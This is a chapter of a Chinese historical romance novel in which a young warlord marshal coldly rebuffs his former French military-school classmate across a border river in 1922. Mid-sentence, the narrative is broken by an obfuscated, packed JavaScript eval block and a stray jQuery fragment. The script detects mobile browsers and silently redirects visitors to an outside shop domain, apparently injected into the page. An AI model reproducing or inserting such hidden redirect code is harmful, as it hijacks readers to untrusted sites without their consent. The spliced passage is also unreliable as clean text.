民国十一年冬末。
红河进入了一年之中水位最低的时候。夏秋两季那条浑黄暴躁、裹着上游泥沙咆哮南下的大河，如今终于收敛了锋芒，水面清了许多，虽然水流依旧湍急，但却露出河心一片片被冲刷得光滑的暗礁，一块接着一块伏卧在浅滩上，像一群在枯水期蛰伏的兽，沉默而危险。
河谷的风依旧阴冷潮湿，从大围山深处一路灌下来，吹得两岸的芭蕉林终日沙沙作响，空气里混着红土、橡胶叶和机油的味道，是滇南边境独有的、铁与血混在一起的腥气。
滇军和法军隔着南溪河对峙，各自在高地上修筑了木石混筑的观察哨，铁丝网从河岸一直拉到密林深处，哨卡顶上的探照灯夜夜扫过河面。
谁也没有主动越过国境线开第一枪，可边境却安静得不像太平，更像暴雨来临之前那段令人喘不过气的沉默。电报机在河口站房里日夜不停地吐着密码，望远镜的镜头在两岸来回扫动，每一个哨兵都知道，对面的人也在看自己。
而在这片绷紧的沉默里，法军那位新来的年轻中尉，渐渐成了边境上一道所有人都看不懂的风景。
他不演习，不挑衅，也从不借故越界生事。每天清晨，河谷的雾还没散尽的时候，他就会带着两名测绘员和一个警卫班，从老街的法军营地出发，沿着国境线慢慢巡视。
今天在三号高地架起经纬仪测地形，明天拿着望远镜观察南溪河两岸的桥墩和路基，后天又一个人站在哨卡顶上，一待就是大半天，任凭河风把军装大衣吹得猎猎作响，仿佛真的只是一名尽职尽责、刚刚到任急于熟悉防区的法国军官。
最开始的时候，法军士兵还以为长官是在熟悉边境布防，可两个月过去，边境的每一处高地、每一条小径、甚至滇军哨卡换岗的时间，他都已经背得滚瓜烂熟，他却依旧天天往河边跑，风雨无阻。后来，连法军自己的参谋也懒得问了，反正Delacroix中尉今天会来，明天还会来，后天多半也还在，像红河的水一样准时。
云南这边同样觉得奇怪。边军观察哨几乎每天都会往昆明督军府送回一模一样的记录，电报纸上的铅字冷冰冰地重复着：
“法军中尉今日巡视边境。”
“停留六小时。”
“携望远镜。”
“未越界。”
一连几十天，内容几乎没有区别，渐渐地，边军士兵甚至都已经习惯了。吃晚饭的时候，会有人随口说一句：“那个法国中尉今天又来了。”就像说“今天河风有点大”一样平常。只是，没有人知道，他到底在等什么，又到底在看什么。
直到这一天，张子轩决定亲自巡视滇越铁路河口段。
这是秦照调入督军府之后，第一次正式陪同少帅巡视边境。
如今的他依旧只是文书兼副官，腰间挎着牛皮文件袋，怀里紧紧抱着卷好的铁路施工图，一路亦步亦趋地跟在张子轩身后，生怕遗漏少帅随口交代的任何一个字。
一行人沿着新修的辅轨缓缓前行，冬日的阳光惨白地照在铁轨上，反射出刺眼的光，远处碧色寨的法式站房红瓦在雾气里若隐若现。张子轩一边查看路基夯实的程度，一边询问工兵营的施工进度，偶尔停下来，用红蓝铅笔在图纸上改几处坡度，语气平静得像在课堂上批改作业。
秦照站在旁边认真记着，凡是少帅说过的话，他几乎都会一字不漏地抄在随身的笔记本上，字迹工整得像在刻碑。
巡视进行到南溪河一处视野极开阔的高地时，对岸忽然传来一阵低沉的引擎声。两辆灰绿色的雷诺军用卡车顺着江岸缓缓驶来，后面跟着十几名全副武装的法军步兵。
而走在最前面的那个人，却没有坐车，而是骑着一匹栗色的军官坐骑马，比其他军官年轻得多，一头金发被河风吹得微微扬起，蓝灰色的眼睛隔着整条南溪河，远远地、准确无误地望了过来，像一枚早已校准好的子弹。
秦照第一次近距离见到法国军官，下意识多看了几眼，忍不住压低声音问道：
“少帅，那是谁？”
张子轩只是顺着他的目光往对岸扫了一眼，神情没有任何变化，甚至连眉头都没有动一下，又重新低头看向手里的铁路图，声音平静得像是在回答今天的气温：
“法军中尉。”
秦照点了点头，没有再问。可就在下一刻，对岸那名法国军官却已经认出了他。
Marcel握着缰绳的手，不知不觉收紧了一瞬。
两个月，整整两个月。Marcel几乎每天都会来到这里，风雨无阻。可真正看见那个熟悉的身影时，他还是觉得心脏像被什么狠狠撞了一下。
他知道张子轩迟早会来巡视边境，也知道只要继续等下去，总会有见面的那一天。如今，这一天终于来了，比他预想的还要早，阳光也比马赛的冬天要好。
他轻抖缰绳，让马慢慢向河边靠近，最终停在国境线另一侧的铁丝网前，隔着一条南溪河，脸上浮起一抹极浅的、几乎可以称得上温柔的笑意。随后，他开口了，声音被河风送过来，清晰得像就在耳边：
“William.”
风把这个名字送过南溪河，也送到了所有人的耳边。云南士兵愣住了，法军步兵同样愣住了。他们都没有想到，自家长官竟然会用这样熟稔的、近乎亲昵的语气，直接叫出敌军少帅的名字，而且，是一个法国名字。
张子轩却像什么都没有听见。他依旧低头检查着铁轨的铆钉，和身旁的工程师讨论着辅轨的承重长度，仿佛那句呼唤不过是河风里一阵毫无意义的回音，连让他抬一下眼皮的资格都没有。
Marcel也并不着急。他骑着马，与张子轩隔着一条南溪河缓缓同行。
云南这边往前巡视一米，他便在对岸慢慢跟上一米，始终保持着同样的距离，同样的目光，不远不近，不疾不徐。这一幕落在旁人眼里，说不出的奇怪，不像敌军对峙，更不像朋友重逢，倒像是一场漫长的、只有他们两个人知道规则的追逐。
秦照终于忍不住，又压低声音问了一句，笔记本都快被他攥出汗来：
“少帅……他是不是认识您？”
张子轩头也没有抬，铅笔在图纸上划出一道干净利落的线：
“圣西尔军校同学。”
只有七个字，除此之外，再没有任何解释。秦照这才恍然地点点头，原来只是军校同学，那怪不得认识。可他心里的疑惑却一点没有减少，既然只是同学，那为什么那个法国军官的眼神，会一直停留在少帅身上，一秒钟都没有移开过？
就在这时，对岸再次传来那个熟悉的声音，比刚才更近，也更执着：
“William.”
这一次，张子轩终于停下了脚步。他慢慢回过身，隔着一条水流湍急的南溪河，望向那张熟悉得不能再熟悉的脸，眼神冷静得没有丝毫波澜，像在看一个陌生人，也像在看一块石头。
然后，他用流利得没有一丝口音的法语，淡淡说道：
“Lieutenant Delacroix.”
（Delacroix中尉。）
一句军衔。一句姓氏。再没有名字。也再没有其他。
短短两个词，便把圣西尔三年的同窗、马赛四十五天的追逐，以及过去所有纠缠不清的一切，全都推回了国境线另一边，推回了法兰西。
Marcel却只是笑了笑，像是根本没有介意这份刻意到近乎残忍的疏离。他骑在马上，看着对岸那个穿着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932519|213645||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
黑色滇军军装、肩背挺得像大围山上的松一样的年轻人，语气轻松得仿佛仍在圣西尔的校园里，推演室的灯还亮着：
“Quand rentres-tu en France ?”
（什么时候回法国？）
秦照听不懂法语，只能看见那个法国军官在笑，笑得很好看，也很危险。
张子轩望着他，沉默了一瞬。河风把他的军装大衣吹得猎猎作响，也把他眼底最后一点温度吹灭了。随后，他只回了一个词，轻得像一片雪落在河面上，却冷得能把整条南溪河冻住：
“Jamais.”
（永远不会。）
说完，他转身便继续向前巡视，再没有回头看一眼，仿佛刚才的对话从未发生过，仿佛对岸那个人从未存在过。
Marcel也没有追问，只是依旧骑着马，在南溪河另一侧缓缓同行，直到双方各自走出视线之外。整整一路，他的目光始终没有离开过张子轩的背影，专注得近乎虔诚。而这一切，都落在了秦照眼里。
他越来越觉得奇怪。那个法国人看少帅的眼神，不像敌人，也不像朋友。那是一种他说不上来的目光，不像打仗时看对手，更不像外交时看谈判对象，反而像是在看一件失而复得、却又永远碰不到的东西，小心翼翼，又势在必得。
可少帅显然烦透了他。整个巡视过程中，除了那句“Lieutenant Delacroix.”（Delacroix中尉。）和“Jamais.”（永远不会。）外，张子轩再没有和他说一句话，甚至连多看一眼都嫌浪费时间，仿佛多看一眼，都会脏了自己的眼睛。
秦照默默把这一切记在了心里。回到督军府以后，他终于忍不住向老副官打听，声音压得极低：
“那个法国中尉，到底什么来头？”
老副官左右看了一眼，确定四下无人，才凑近了，用一种过来人的、带着点后怕的语气说道：
“听说以前在法国留学的时候，天天找少帅打架。打得可凶了。”
秦照恍然大悟，猛地一拍大腿。
“原来如此。”
他心里一下子全明白了。怪不得少帅一看见他就皱眉，原来是军校里的死对头，还是那种打了三年都没分出胜负的宿敌。怪不得眼神那么执着，那是武人的较劲。
第二天。观察哨送来军报。
“法军中尉今日巡视边境。”
第三天。
“法军中尉再次巡视边境。”
第四天。
“法军中尉携望远镜停留七小时。”
第五天。
还是一样，连标点符号都没变。
秦照终于忍不住了。那天晚上，张子轩正在书房修改南溪河铁路施工图，台灯的光晕落在图纸上，钢笔在纸面上缓缓划过，重新调整着几处坡度，神情专注得像在雕刻一件艺术品。
秦照抱着刚送来的边境记录，站在书桌旁，憋了半天，还是小声嘀咕了一句：
“少帅。”
“这法国人……怎么天天来？”
张子轩连头都没有抬，笔尖依旧停留在图纸上，平静得像是在讨论明天的天气，声音里甚至带上了一丝被烦透了的倦意：
“别管他。”
他重新画完最后一条辅助线，把钢笔帽“咔哒”一声扣上，这才淡淡补了一句，三个字，盖棺定论：
“他有病。”
秦照郑重地点了点头，把这三个字牢牢记在了心里。他相信少帅，少帅说的话，从来没有错过。既然少帅说有病，那这个天天骑着马在边境线上晃来晃去、拿望远镜盯着云南看八个小时的法国人，多半是真的脑子有病。
而且病得不轻。